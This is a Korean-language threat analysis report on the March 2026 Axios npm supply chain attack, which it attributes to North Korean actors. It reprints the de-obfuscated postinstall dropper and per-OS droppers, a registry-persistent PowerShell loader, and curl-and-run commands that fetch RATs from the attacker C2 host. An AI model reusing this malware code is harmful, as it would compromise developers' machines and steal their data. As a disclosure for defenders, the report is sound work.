블로그
home
Nation-State Cyber Actors Analysis Report
home

Supply Chain Attack on Axios NPM Package via North Korean Threat Actors

작성자
김미희
감수인
작성일
2026/04/03
배포일
2026/04/17
문서등급
TLP:CLEAR
Tags
Supply Chain
Axios
DPRK
NPM
문서유형
Analysis Report

01. Executive Summary

사건개요
2026년 3월 31일 00:21 ~ 03:20(UTC기준) 자바스크립트 생태계에 주간 1억건 이상의 다운로드 기록을 가지고 있는 HTTP 클라이언트 라이브러리인 악시오스(Axios) NPM 관리자 계정 탈취로, 악성 패키지인 Axios NPM 릴리스 버전 axios@1.14.1과 axios@0.30.4 배포
Axios 메인테이너 계정을 탈취하여 기존 Axios 소스코드를 건드리지 않고 악성 패키지 plain-crypto-js(plain-crypto-js@4.2.1) 의존성에 추가하였으며, ‘npm install’실행 시 악성코드가 자동으로 실행되어 Windows, macOS, Linux 운영체제별로 맞춤형 백도어(RAT)인 WAVESHAPER.V2를 유포
Google의 GTIG를 포함하여 Huntress(macOS 바이너리 내부 이름 "macWebT"는 BlueNoroff의 RustBucket "webT" 모듈과 일치), Elastic Security Labs(macOS 바이너리와 북한 연계 백도어 간의 구조적 중복구조), Volexity(이전에 북한 캠페인과 연관된 도메인 calltan[.]com)등 다수의 위협정보 분석 조직에서도 공격 주체를 북한으로 지목
대응방안
GitHub의 코드 검색 기능을 사용하여 package.json 또는 package-lock.json 파일내 문제가 되는 버전 검색하고 안전한 이전 버전(1.14.0 이하, 0.30.3 이하)을 적용
RAT 공격 관련 아티팩트 존재여부 확인 명령어(Windows, macOS, Linux마다 상이하기 때문에 상세 검색 명령어 확인 필요)

02. Axios NPM Package 공급망 공격 개요

2.1. Executive Summary

2026년 3월 31일 00:21 ~ 03:20(UTC기준) 자바스크립트 생태계에 주간 1억건 이상의 다운로드 기록을 가지고 있는 HTTP 클라이언트 라이브러리인 악시오스(Axios) NPM 관리자 계정 탈취로, 악성 패키지인 Axios NPM 릴리스 버전 axios@1.14.1과 axios@0.30.4 배포
악성 의존성 공격을 위해 공격 18시간 전에 사전준비를 진행했으며 3가지 운영체제에 맞춘 페이로드를 2개의 릴리즈 브랜치(1.x 및 0.x)를 39분 간격으로 동시에 오염
StepSecurity의 AI 패키지 분석기(AI Package Analyst)와 StepSecurity Harden-Runner에 의해 탐지되어 프로젝트 관리자들이 공개
Axios 메인테이너 계정을 탈취하여 기존 Axios 소스코드를 건드리지 않고 악성 패키지 plain-crypto-js(plain-crypto-js@4.2.1) 의존성에 추가하였으며, ‘npm install’실행 시 악성코드가 자동으로 실행되어 Windows, macOS, Linux 운영체제별로 맞춤형 백도어(RAT)인 WAVESHAPER.V2를 유포
드로퍼는 실시간 명령 제어(C2) 서버에 접속하여 각 운영체제에 최적화된 2단계 페이로드를 전달하고 포렌식 탐지를 피하기 위해 스스로를 삭제하고 자신의 package.json을 깨끗한 버전으로 교체
Google의 GTIG는 북한 위협 행위자 UNC1069(BlueNoroff)로 추정하고 있으며,
북한 위협 행위자들이 암호화폐 및 탈중앙화 금융(DeFi) 분야 공격 시에 macOS와 Linux 백도어인 WAVESHAPER와의 직접적인 연관성을 제시
기존 WAVESHAPER는 경량의 원시 바이너리 C2 프로토콜을 사용하고 코드 패킹을 활용하는 반면, WAVESHAPER.V2는 JSON을 사용하여 통신하고 추가 시스템 정보를 수집하며 더 많은 백도어 명령을 지원
Huntress(macOS 바이너리 내부 이름 "macWebT"는 BlueNoroff의 RustBucket "webT" 모듈과 일치), Elastic Security Labs(macOS 바이너리와 북한 연계 백도어 간의 구조적 중복구조), Volexity(이전에 북한 캠페인과 연관된 도메인 calltan[.]com)등 다수의 위협정보 분석 조직에서도 공격 주체를 북한으로 지목

2.2. Affected packages Version

안전한 버전 : axios@1.14.0 (1.x branch), axios@0.30.3 (0.x branch)
Package
Version
Published (UTC)
Exposure Window
Status
axios
1.14.1
2026-03-31 00:21
~3 h 30 min
Removed by npm
axios
0.30.4
2026-03-31 01:00
~2 h 51 min
Removed by npm
plain-crypto-js
4.2.1
2026-03-30 23:59
~3 h 26 min
Security placeholder
plain-crypto-js
4.2.0
2026-03-30 05:57
~21 h 28 min
Security placeholder

2.3. Attack Timeline

Timeline(UTC)
주요 공격 내용
상세 공격현황
2026-03-30 05:57
사전 포석용 패키지 배포 (v4.2.0)
• 악성코드가 없는 클린한 버전의 plain-crypto-js 배포(nrwise@proton.me) • 정상적인 crypto-js 복사본으로, 악성 코드나 postinstall 훅이 없는 정상코드만 포함 • 신규 계정에 대한 보안 스캐너의 의심을 피하기 위한 '정상 이력(History)' 생성 목적으로 사용
2026-03-30 23.:59
악성 페이로드 주입(v4.2.1)
• 약 18시간 후, 동일 계정(nrwise@proton.me)으로 악성 버전 배포. postinstall: "node setup.js" 훅과 난독화된 드로퍼 삽입
2026-03-31 00:21
Axios 메인 라인 오염 (v1.14.1)
• 탈취된 메인테이너 계정(jasonsaayman)을 통해 배포(탈취된 jasonsaayman 계정, 이메일: ifstap@proton.me) • 최신 버전인 1.x 사용자 층을 타겟으로 plain-crypto-js@4.2.1을 런타임 의존성(Dependency)로 강제 주입
2026-03-31 01:00
Axios 레거시 라인 오염 (v0.30.4)
• 약 39분 뒤, 구형 0.x 버전을 사용하는 사용자들까지 공격 범위를 넓히기 위해 동일한 악성 코드 주입 버전 배포(동일 탈취계정 사용)
2026-03-31 03:15
NPM 저장소 내 악성 버전 삭제
• 두 버전 모두 저장소에서 제거되었으며, latest 배포 태그는 다시 1.14.0으로 복구 • axios@1.14.1은 약 2시간 53분 동안, 0.30.4는 약 2시간 15분 동안 노출(해당 시간은 Axios 레지스트리 문서의 modified 필드를 근거로 추정한 것이며, npm 공용 API는 버전별 삭제 시간을 별도로 공개하지 않음)
2026-03-31 03:25
악성 패키지 동결 (Security Hold)
• 공격의 근원인 plain-crypto-js 패키지에 대해 보안 홀드(Security Hold) 조치 시작
2026-03-31 04:26
보안 스텁(Stub)으로 교체 완료
• NPM 공식 계정이 plain-crypto-js@0.0.1-security.0을 배포하여 악성 패키지를 공식 대체 이후 해당 패키지 설치 시 보안 경고 메시지 출력

03. Technical analysis

3.1. Attack Flow Diagram

StepSecurity에 따르면 해당 캠페인의 배후에 있는 공격자는 "jasonsaayman"의 npm 계정을 해킹하여 등록된 이메일 주소를 자신들이 관리하는 Proton Mail 주소("ifstap@proton.me")로 변경
"plain-crypto-js"는 "nrwise@proton.me" 이메일 주소를 사용하는 "nrwise"라는 npm 사용자에 의해 게시
내장된 악성코드는 난독화된 Node.js 드로퍼("setup.js")를 통해 실행되며, 운영 체제에 따라 세 가지 공격 경로 중 하나로 분기되도록 설계
1.
macOS : AppleScript 페이로드를 실행하여 외부 서버("sfrclak.com:8000")에서 트로이목마 바이너리를 가져와 "/Library/Caches/com.apple.act.mond"에 저장하고, 실행 권한을 부여한 후, "/bin/zsh"를 통해 백그라운드에서 실행되며 AppleScript 파일은 실행 후 삭제되어 흔적을 제거
2.
Windows : PowerShell 실행 파일의 경로를 찾아 "%PROGRAMDATA%\wt.exe" 경로에 복사한 후(Windows 터미널 앱으로 위장하여), 임시 디렉터리에 VBScript 파일을 작성하고 실행
VBScript 파일은 동일한 서버에 접속하여 PowerShell RAT 스크립트를 다운로드하고 실행한 후 다운로드한 파일은 실행 후 삭제
3.
Linux : Node.js의 execSync를 통해 셸 명령을 실행하여 동일한 서버에서 Python RAT 스크립트를 가져와 "/tmp/ld.py"에 저장한 다음 nohup 명령을 사용하여 백그라운드에서 실행
각 플랫폼은 packages.npm.org/product0(macOS), packages.npm.org/product1(Windows), packages.npm.org/product2(Linux)와 같은 동일한 C2 URL로 서로 다른 POST Body를 전송하기 때문에 C2에서는 단일 엔드포인트의 응답으로 플랫폼에 적합한 페이로드 제공이 가능
Axios NPM Supply Chain Attack Flow(출처 : Socket)

3.2. Infection Chain

Axios 프로젝트의 주요 관리자인 jasonsaayman의 npm 계정을 탈취 후 공격자가 제어하는 ProtonMail 주소인 ifstap@proton.me로 변경
axios@1.14.1axios@0.30.4 모두 npm 레지스트리에 jasonsaayman에 의해 게시된 것으로 기록되어 있어 정상적인 릴리즈와 구별할 수 없으며, 일반적인 GitHub Actions CI/CD 파이프라인은 완전히 우회
모든 정상적인 Axios 1.x 릴리스는 npm의 OIDC 신뢰할 수 있는 게시자(Trusted Publisher) 메커니즘을 통해 GitHub Actions로 게시 → 게시 과정이 검증된 GitHub Actions 워크플로우와 암호화 기술로 결합되어 있다는 의미
공격자는 OIDC와 기존 인증 방식이 모두 NPM_TOKEN이 존재하는 경우 토큰이 우선시된다는 점을 이용하여 GitHub Actions CI/CD을 우회
그러나 axios@1.14.1은 OIDC 바인딩이나 gitHead 정보 없이, 도난당한 npm 액세스 토큰을 통해 수동으로 게시 → 기존 토큰 생성 기능을 비활성화하지 않으면 OIDC Trusted Publishing의 보호 기능 제공 불가
// axios@1.14.0 — LEGITIMATE (published via GitHub Actions OIDC) "_npmUser": { "name": "GitHub Actions", "email": "npm-oidc-no-reply@github.com", "trustedPublisher": { "id": "github", "oidcConfigId": "oidc:9061ef30-..." } } // axios@1.14.1 — MALICIOUS (published manually, no OIDC) "_npmUser": { "name": "jasonsaayman", "email": "ifstap@proton.me" // no trustedPublisher, no gitHead }
JavaScript
복사
이 공격은 npm의 의존성 해석(Dependency Resolution)과 생명주기 스크립트에 의존하는 구조
개발자가 npm install axios@1.14.1을 실행하면, npm은 의존성 트리를 분석하고 plain-crypto-js@4.2.1을 자동으로 설치
그 후 npm은 드로퍼를 실행하는 postinstall 스크립트를 수행하는데, 이 모든 과정은 개발자가 자신의 코드를 단 한 줄도 실행하기 전에 발생되며 침해된 2개의 패키지에서 유일한 수정 사항은 package.json에 추가된 코드 한줄만 존재
axios@1.14.0과 axios@1.14.1버전의 차이는 크게 없으며 plain-crypto-js는 require()로 호출되거나 임포트된 적이 없으며, 설치 후크를 트리거하기 위한 목적으로만 존재하는 가상의 종속성으로 사용
▽ package.json
"dependencies": { "follow-redirects": "^1.15.11", "form-data": "^4.0.5", "proxy-from-env": "^2.1.0", "plain-crypto-js": "^4.2.1" // ← INJECTED }
JavaScript
복사
공격 흐름 : npm install plain-crypto-js → postinstall hook → node setup.js → _entry("6202033") → detect OS via os.platform() → branch to platform-specific payload delivery → delete setup.js → rename package.md → package.json (removes postinstall evidence)

[Stage 1] plain-crypto-js : Trojan

2026년 3월 30일 23시 59분 12초(UTC) 악성 패키지 plain-crypto-js@4.2.1가 공개된 이후 24시간 내에 plain-crypto-js은 4.2.0과 4.2.1 두 가지 버전이 존재
해당 패키지는 잘 알려진 crypto-js 라이브러리로 타이포스쿼팅 수행 : author와 repository필드는 실제 정상적인 crypto-js를 가리키도록 설정되어 있음
▽ plain-crypto-js의 package.json
// crypto-js@4.2.0 (LEGITIMATE — Evan Vosberg / brix) { "name": "crypto-js", "version": "4.2.0", "description": "JavaScript library of crypto standards.", "author": "Evan Vosberg", "homepage": "http://github.com/brix/crypto-js", "scripts": { "test": "grunt" // ← no postinstall } } // plain-crypto-js@4.2.1 (MALICIOUS — nrwise@proton.me) { "name": "plain-crypto-js", // ← different name, everything else cloned "version": "4.2.1", // ← version one ahead of the real package "description": "JavaScript library of crypto standards.", "author": { "name": "Evan Vosberg" }, // ← fraudulent use of real author name "homepage": "http://github.com/brix/crypto-js", // ← real repo, wrong package "scripts": { "test": "grunt", "postinstall": "node setup.js" // ← THE ONLY DIFFERENCE. The entire weapon. } }
JavaScript
복사
▽ plain-crypto-js@4.2.1과 crypto-js@4.2.0 차이점 비교
File
In 4.2.0
In 4.2.1
Change
package.json
scripts 섹션 미존재
"postinstall": "node setup.js" 추가
악성코드 추가
setup.js
-
4.2 KB(4,209byte) 난독화된 드롭퍼
RAT dropper 추가
package.md
-
클린한 상태의 JSON stub 보고 버전 4.2.0
안티 포렌식을 위해 package.json을 클린한 버전으로 교체
나머지 약 40개 파일
crypto-js@4.2.0와 동일
package.md는 setup.js가 실행된 이후 package.md의 이름을 package.json으로 변경되며, 스텁 파일은 실제 버전인 4.2.1이 아니라 4.2.0을 사용
이 경우 악성코드에 감염된 후에 npm list를 실행하면 plain-crypto-js@4.2.0으로 보고 → 이는 npm list가 설치된 package.jsonversion 필드값을 읽어오는데, 현재 그 값이 4.2.0으로 조작되기 때문에 악성 패키지 사용여부를 확인하는 과정에서 시스템이 침해되지 않았다고 판단하는 것을 노린 버전 스푸핑 공격의 일종
▽ package.md파일 일부
// Contents of package.md (the clean replacement stub) { "name": "plain-crypto-js", "version": "4.2.0", // ← reports 4.2.0, not 4.2.1 — deliberate mismatch "description": "JavaScript library of crypto standards.", "license": "MIT", "author": { "name": "Evan Vosberg", "url": "http://github.com/evanvosberg" }, "homepage": "http://github.com/brix/crypto-js", "repository": { "type": "git", "url": "http://github.com/brix/crypto-js.git" }, "main": "index.js", // No "scripts" key — no postinstall, no test "dependencies": {} }
JavaScript
복사
Axios v1.14.1 패키지 탐지내역(출처 : StepSecurity)
Axios v0.30.4 패키지 탐지내역(출처 : StepSecurity)

[Stage 2] Setup.js : Payload

2차 난독화 방식을 사용 : 첫 번째 단계는 문자를 역순으로 배치하고 언더바(_)를 치환하는 방식의 Base64이며, 두 번째 단계는 OrDeR_7077이라는 문자열에서 추출한 순환 키(rotating key)를 이용한 문자 단위 XOR 암호를 사용
모든 문자열은 stq[]라는 배열에 인코딩된 값으로 저장
_trans_2(x, r): 인코딩된 문자열을 역순으로 배치하고, 언더바(_)를 등호(=)로 치환한 뒤 Base64로 디코딩되며 그 결과물은 다시 _trans_1 함수로 전달
_trans_1(x, r): XOR 암호 단계로 키인 "OrDeR_7077"은 자바스크립트의 Number() 함수를 통해 파싱
이때 알파벳 문자는 NaN을 생성하며, 이는 비트 연산에서 0으로 처리되어 결과적으로 결과적으로 6~9번째 위치에 있는 숫자 7, 0, 7, 7만 살아남아 [0,0,0,0,0,0,7,0,7,7]라는 키가 형성
각 위치 i의 문자는 charCode XOR key[(7 × i × i) % 10] XOR 333 연산을 통해 최종적으로 디코딩
_entry 함수(인자 "6202033"과 함께 호출됨)는 전체 C2 URL을 hxxp://sfrclak[.]com:8000/6202033으로 구성한 뒤, 운영체제(OS)별로 실행 경로를 분기하고 각 플랫폼은 맞춤형 드롭퍼를 다운로드
C2 서버는 플랫폼별 요청을 식별하기 위해 POST Body 데이터로 packages.npm.org/product{0,1,2}를 사용
Index
Decoded Value
Purpose
stq[0]
child_process
Module import
stq[1]
os
Module import
stq[2]
fs
Module import
stq[3]
http://sfrclak.com:8000/
C2 base URL
stq[5]
win32
OS detection
stq[6]
darwin
OS detection
stq[7]
AppleScript dropper template
macOS payload (downloads to /Library/Caches/com.apple.act.mond)
stq[8]
cscript "LOCAL_PATH" //nologo && del...
Windows execution
stq[9]
VBScript dropper template
Windows payload (curl + renamed PowerShell)
stq[10]
nohup osascript "LOCAL_PATH" > /dev/null 2>&1 &
macOS execution
stq[12]
curl -o /tmp/ld.py -d ... -s SCR_LINK && nohup python3 ...
Linux execution
stq[15]
.exe
Windows persistence suffix
stq[16]
.ps1
PowerShell script extension
stq[17]
.vbs
VBScript extension
▽ 악성 NPM 실행 흐름도(출처 : StepSecurity)
StepSecurity에서 분석한 내용에 따르면 난독화된 setup.js파일의 가독성을 강화한 버전은 다음과 같은 구성으로 실행
_entry 함수(인자 "6202033"과 함께 호출됨)는 전체 C2 URL을 hxxp://sfrclak[.]com:8000/6202033으로 구성한 뒤, 운영체제(OS)별로 실행 경로를 분기하고 각 플랫폼에서는 사전에 제작된 맞춤형 드롭퍼를 전달
C2 서버는 플랫폼별 요청을 식별하기 위해 packages.npm.org/product{0,1,2}를 POST Body를 데이터로 사용
// setup.js — de-obfuscated and annotated // SHA-256: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 const _entry = function(campaignId) { try { // Load Node.js built-in modules via decoded string table const fs = require("fs"); // stq[2] const os = require("os"); // stq[1] const { execSync } = require("child_process"); // stq[0] // Build the full C2 URL: base + campaign ID // stq[3] = "http://sfrclak.com:8000/" const c2Url = "http://sfrclak.com:8000/" + campaignId; // → "http://sfrclak.com:8000/6202033" // Detect the operating system const platform = os.platform(); // "darwin", "win32", or other const tmpDir = os.tmpdir(); // "/tmp" on Linux/macOS, "%TEMP%" on Windows // os.type(), os.release(), os.arch() are called but results discarded — // likely sends them via the POST body or they are used in the stage-2 os.type(); os.release(); os.arch(); let execCommand = ""; // ───────────────────────────────────────────────── // BRANCH 1: macOS (darwin) // ───────────────────────────────────────────────── if (platform === "darwin") { const scriptPath = tmpDir + "/" + campaignId; // /tmp/6202033 const appleScript = ` set {a, s, d} to {"", "${c2Url}", "/Library/Caches/com.apple.act.mond"} try do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c \\"" & d & " " & s & " &\\" &> /dev/null" end try do shell script "rm -rf ${scriptPath}"`; fs.writeFileSync(scriptPath, appleScript); execCommand = `nohup osascript "${scriptPath}" > /dev/null 2>&1 &`; // ───────────────────────────────────────────────── // BRANCH 2: Windows (win32) // ───────────────────────────────────────────────── } else if (platform === "win32") { const psPath = execSync("where powershell").toString().trim(); const wtPath = process.env.PROGRAMDATA + "\\wt.exe"; if (!fs.existsSync(wtPath)) { fs.copyFileSync(psPath, wtPath); // Creates a persistent copy of PowerShell. wt.exe is Windows Terminal's // binary name — a legitimate-looking process in %PROGRAMDATA%. } const ps1Path = tmpDir + "\\" + campaignId + ".ps1"; // %TEMP%\6202033.ps1 const vbsPath = tmpDir + "\\" + campaignId + ".vbs"; // %TEMP%\6202033.vbs const vbScript = ` Set objShell = CreateObject("WScript.Shell") objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""${c2Url}"" > ""${ps1Path}"" & ""${wtPath}"" -w hidden -ep bypass -file ""${ps1Path}"" ""${c2Url}"" & del ""${ps1Path}"" /f", 0, False`; fs.writeFileSync(vbsPath, vbScript); execCommand = `cscript "${vbsPath}" //nologo && del "${vbsPath}" /f`; // ───────────────────────────────────────────────── // BRANCH 3: Linux / other // ───────────────────────────────────────────────── } else { execCommand = `curl -o /tmp/ld.py -d packages.npm.org/product2 -s ${c2Url} && nohup python3 /tmp/ld.py ${c2Url} > /dev/null 2>&1 &`; // curl and nohup chained with &&: nohup only runs if curl succeeded. // If the C2 is unreachable, chain silently fails — npm install still exits 0. } // execSync is blocking, but all three commands return immediately because // the real work is detached to background processes (nohup / cscript 0,False) execSync(execCommand); // ───────────────────────────────────────────────── // ANTI-FORENSICS: cover tracks // ───────────────────────────────────────────────── const selfPath = __filename; fs.unlink(selfPath, () => {}); // 1. Delete setup.js itself fs.unlink("package.json", () => {}); // 2. Delete malicious package.json fs.rename("package.md", "package.json", () => {}); // 3. Install clean v4.2.0 stub } catch(e) { // Silent catch — any error (C2 unreachable, permission denied, etc.) // is swallowed completely. npm install always exits with code 0. // The developer never sees any indication that anything went wrong. } }; // Entry point — "6202033" is the campaign/tracking ID _entry("6202033");
JavaScript
복사

3.3. Malware Analysis

[Stage 3] macOS(darwin) : AppleScript Dropper

$TMPDIR/6202033 경로에 다음과 같은 동작을 수행하는 AppleScript를 작성
packages.npm.org/product0을 본문으로 하여 C2에 POST 요청을 전송
응답 결과(페이로드)를 /Library/Caches/com.apple.act.mond 경로에 저장 (Apple 시스템 데몬으로 위장)
chmod 770으로 권한을 변경하고, C2 URL을 인자로 전달하여 /bin/zsh를 통해 백그라운드에서 실행
실행 후 해당 AppleScript를 자가 삭제
최종적으로 nohup osascript "$TMPDIR/6202033" > /dev/null 2>&1 & 명령을 통해 스크립트를 실행
try do shell script " curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s http://sfrclak.com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond && /bin/zsh -c "/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &" &> /dev/null" " end try do shell script "rm -rf tmp/6202033"
JavaScript
복사
C2 서버의 응답은 x86_64와 arm64 아키텍처를 모두 지원하는 657KB 크기의 Mach-O 유니버설 바이너리로 이는 Intel 프로세서와 Apple Silicon(M1/M2 등) 기반 Mac을 모두 공격 대상이라는 것을 의미
이 바이너리는 C++로 작성되었으며, HTTP 통신을 위해 libcurl과 연결되어 있고 C2 프로토콜 직렬화를 위해 nlohmann::json 라이브러리를 사용
이 바이너리는 다른 플랫폼과 동일한 4가지 명령 체계(kill, peinject, runscript, rundir)를 구현하고 있으며, 동일한 JSON 필드명, 위조된 IE8 User-Agent(mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)), 그리고 동일한 60초 간격의 비콘(Beacon) 주기를 공유
macOS에서만 동작하는 주요 기능 분석
sysctl을 이용한 시스템 핑거프린팅 : kern.osproductversion(macOS 버전), hw.model(하드웨어 모델), machdep.cpu.brand_string(CPU 정보), hw.optional.arm64(아키텍처 감지) 등을 쿼리하여 시스템 정보를 수집하며, 설치 날짜는 /var/db/.AppleSetupDone 파일의 생성 시간을 통해 도출
초기 디렉토리 스캔 : 설치된 소프트웨어를 파악하기 위해 '문서(Documents)' 및 '데스크탑(Desktop)' 폴더와 더불어 /Applications 디렉토리에 대한 초기 스윕(Sweep)을 수행
peinject 핸들러 : 바이너리를 /private/tmp/.(점으로 시작하는 숨김 폴더) 경로에 작성
실행 전 fork() + execv()를 호출하기 전, codesign --force --deep --sign - "%s" 명령을 통해 해당 파일을 Self-sign하여 macOS의 Gatekeeper의 탐지를 우회하고 “확인되지 않은 개발자”라는 대화상자를 띄우지 않고 실행 가능
runscript 핸들러 : /tmp/.XXXXXX.scpt 경로에 mkstemps로 생성된 임시 .scpt 파일을 사용하여 /usr/bin/osascript를 통해 명령을 실행이 가능하며 이를 통해 일반적인 쉘 명령 외에도 AppleScript 기반의 자동화가 가능하다는 점을 확인

[Stage 3] Windows(win32) : VBScript + PowerShell Chain

PowerShell 위치 식별 : where powershell 명령을 사용하여 시스템 내 PowerShell 경로를 검색
위장 및 복사 : 찾은 PowerShell 바이너리를 %PROGRAMDATA%\wt.exe 경로로 복사(Windows Terminal 실행 파일인 것처럼 위장)
VBScript 작성: %TEMP%\6202033.vbs 경로에 cmd.exe를 통해 다음과 같은 명령을 연쇄적으로 실행하는 VBScript를 작성
Set objShell = CreateObject("WScript.Shell") objShell.Run "cmd.exe /c curl -s -X POST -d packages.npm.org/product1 http://sfrclak[.]com:8000/6202033 > %TEMP%\6202033.ps1 & %PROGRAMDATA%\wt.exe -w hidden -ep bypass -file %TEMP%\6202033.ps1 http://sfrclak[.]com:8000/6202033 & del ""PS_PATH"" /f", 0, False
JavaScript
복사
최종 실행 : cscript "%TEMP%\6202033.vbs" //nologo 명령으로 해당 VBScript를 실행한 뒤, 마지막에 생성했던 .vbs 파일까지 삭제하여 흔적 삭제
PowerShell 스크립트가 실행되면 11,042Byte 크기의 PowerShell RAT가 실행되면서 16자리 무작위 영숫자 UID를 생성하고 호스트의 fingerprints를 추출
$uid = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 16 | ...) $username = $env:USERNAME $hostname = $env:COMPUTERNAME $timezone = "(UTC" + $((Get-TimeZone).BaseUtcOffset.TotalHours) + " hours) " + ... $version = "$($os.Caption) $($os.OSArchitecture) $($os.Version)" $cpuType = (Get-CimInstance Win32_Processor | Select-Object -First 1).Name
JavaScript
복사
이후 Init-Dir-Info를 통해 초기 디렉터리 검색을 수행하여 Documents, Desktop, OneDrive, AppData\Roaming 및 모든 파일 시스템 드라이브 루트를 열거하고 명령 실행 전에 피해자의 파일 시스템 목록을 확인
RAT는 265바이트 크기의 배치 파일을 C:\ProgramData\system.bat(숨김으로 설정된) 위치에 기록하고 이를 실행 키로 등록
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate → C:\ProgramData\system.bat
"MicrosoftUpdate”라는 정상 Windows 업데이트 서비스 명을 모방하며, 배치 파일은 한줄짜리 파일리스 로더를 사용
start /min powershell -w h -c "& ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString( (Invoke-WebRequest -UseBasicParsing -Uri 'http://sfrclak.com:8000/6202033' -Method POST -Body 'packages.npm.org/product1').Content))) 'http://sfrclak.com:8000/6202033'"
JavaScript
복사
시스템을 재부팅할 때마다 system.bat은 동일한 packages.npm.org/product1 본문을 사용하여 C2 서버로 POST 요청을 보내고, HTTP 응답으로 전체 RAT 코드를 수신한 후 메모리에서 PowerShell 스크립트 블록으로 실행
RAT코드는 최초 실행 이후 디스크에 다시 접근하지 않기 때문에 네트워크 레벨의 분석없이는 포렌식이 어려움

[Stage 3] Linux

C2 서버에서 POST요청의 Body에 packages.npm.org/product2를 보내고, 응답을 /tmp/ld.py로 저장하여 실행
curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 \ && nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &
JavaScript
복사
실행 후, 페이로드는 흔적을 지우기 위해 setup.js를 자가 삭제하고 package.mdpackage.json으로 이름을 변경하여 설치된 패키지에서 postintall 훅을 제거하여 추적 회피
/tmp/ld.pyC2는 npm 프로세스 트리와 분리되어 백그라운드에서 실행되는 Python RAT 스크립트를 반환
// setup.js (deobfuscated cleanup logic) const K = __filename; t.unlink(K, (x) => {}); // delete setup.js t.unlink('package.json', (x) => {}); // delete current package.json (with postinstall) t.rename('package.md', 'package.json', (x) => {}); // replace with clean version
JavaScript
복사
Linux 페이로드는 12KB 크기의 난독화되지 않은 Python 스크립트로, 세 가지 플랫폼 변종 중 가장 가독성이 높음
이 스크립트는 Windows 및 macOS 변종과 동일한 4개 명령 체계(kill, peinject, runscript, rundir), 동일한 IE8 User-Agent, 동일한 60초 주기 비콘 루프, 그리고 동일한 JSON 프로토콜을 구현
최초 실행 시 RAT은 16자리의 UID를 생성하고 $HOME, $HOME/.config, $HOME/Documents, $HOME/Desktop의 디렉토리 목록이 포함된 FirstInfo 비콘을 송부
그 후 BaseInfo 루프에 진입하여 호스트 이름, 사용자 이름, OS, 아키텍처, 시간대, 부팅 시간, 시스템 제조사 및 제품 정보(/sys/class/dmi/id/에서 추출), 그리고 PID, 부모 PID, 사용자 이름, 명령줄이 포함된 전체 프로세스 목록(모두 /proc/에서 직접 읽어옴)을 전송(다른 운영체제와 동일)

[Stage 4] Python RAT

142.11.206.73:8000(Express.js 구동)에 위치한 C2 서버는 POST 요청에 응답하여 페이로드를 제공(GET 요청시 500에러를 반환)
safedep에 따르면 packages.npm.org/product2를 사용해서 Linux의 2단계 페이로드를 확보한 것으로 밝혔으나,
macOS(product0)와 Windows(product1) 페이로드는 C2 서버가 오프라인이 되기 전에 확보하지 못했음
1단계 코드를 통해 macOS는 네이티브 바이너리(chmod 770 후 직접 실행), Windows는 PowerShell 스크립트(.ps1, -ep bypass로 실행)일 것으로 추정
Linux 2단계 페이로드(ld.py, SHA256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf)는 난독화되지 않은 Python RAT로, 지속성 유지 메커니즘이 없어 재부팅 전까지만 동작하며 하기 4개의 명령어를 지원
Command
Function
What It Does
kill
-
• RAT 프로세스를 종료하고 C2서버에 종료 사실을 확인
peinject
Do-Action-Ijt
• Reflective .NET assembly injection • Base64로 인코딩된 DLL을 System.Reflection.Assembly::Load()를 통해 로드 후 Extension.SubRoutine.Run2를 찾아내어 cmd.exe를 호스트 프로세스로 사용하는 쉘코드 페이로드와 함께 호출하나 디스크에서 파일이 생성되지 않음 • 전달받은 페이로드를 Base64로 디코딩하여 /tmp/.<random>(점으로 시작하는 숨김 파일) 경로에 쓰고, 권한을 0o777로 변경한 뒤 Popen을 통해 실행 • 코드의 156번 라인에 버그가 있는데, ijtbin 파라미터 대신 정의되지 않은 b64_string을 참조하고 있으며 이는 해당 코드가 다른 버전에서 복사된 것을 의미
runscript
Do-Action-Scpt
• Base64 형태로 전달되어 메모리 내에서 디코딩되며, NoProfile -ExecutionPolicy Bypass 옵션과 함께 실행되며 만약 스크립트 크기가 10KB보다 크면 임시 파일(GUID 이름의 .ps1)으로 작성되어 실행된 후 즉시 삭제 • 만약 Script 필드가 비어 있으면 Param에 담긴 내용을 쉘 명령어(shell=True)로 실행하고 Script 내용이 제공되면 이를 Base64로 디코딩하여 python3 -c <code> 형태로 실행 → 실행 결과(출력값)는 캡처되어 C2 서버로 반환
rundir
Do-Action-Dir
• 각 항목에 대해 파일 이름, 크기, 타임스탬프 및 하위 항목 존재 여부(HasItems) 플래그를 반환
첫 연결 시, RAT은 $HOME, $HOME/.config, $HOME/Documents, $HOME/Desktop의 디렉토리 목록이 포함된 FirstInfo 비콘을 전송하고 그 후 60초 간격의 폴링 루프(Polling Loop)에 진입하여 다음과 같은 정보가 담긴 BaseInfo 비콘으로 전송
RAT 최초 실행시에는 2개의 페이로드를 유출
POST #1 (~33 KB) : Documents, Desktop, OneDrive, AppData 및 모든 드라이브 루트의 전체 디렉터리 목록(파일 이름, 크기 및 타임스탬프 포함)
POST #2 (~7 KB) : 전체 시스템 정보로 호스트 이름, 사용자 이름, OS 버전, 시간대, CPU 모델, 부팅 시간, PID와 실행 파일 경로를 포함한 전체 실행 프로세스 목록
호스트 이름, 사용자 이름, 운영체제(OS), 아키텍처
시스템 제조사 및 제품명 (/sys/class/dmi/id/에서 추출)
PID, 부모 PID, 사용자 이름, 명령줄이 포함된 전체 프로세스 목록
부팅 시간, 설치 시간, 시간대
각 비콘 응답에는 RAT이 실행할 명령에 포함될 수 있으며 실행 결과는 Base64로 인코딩되어 다시 POST방식으로 전달
모든 C2통신에서 사용되는 User-Agent 문자열은 다음과 같이 하드코딩 : mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
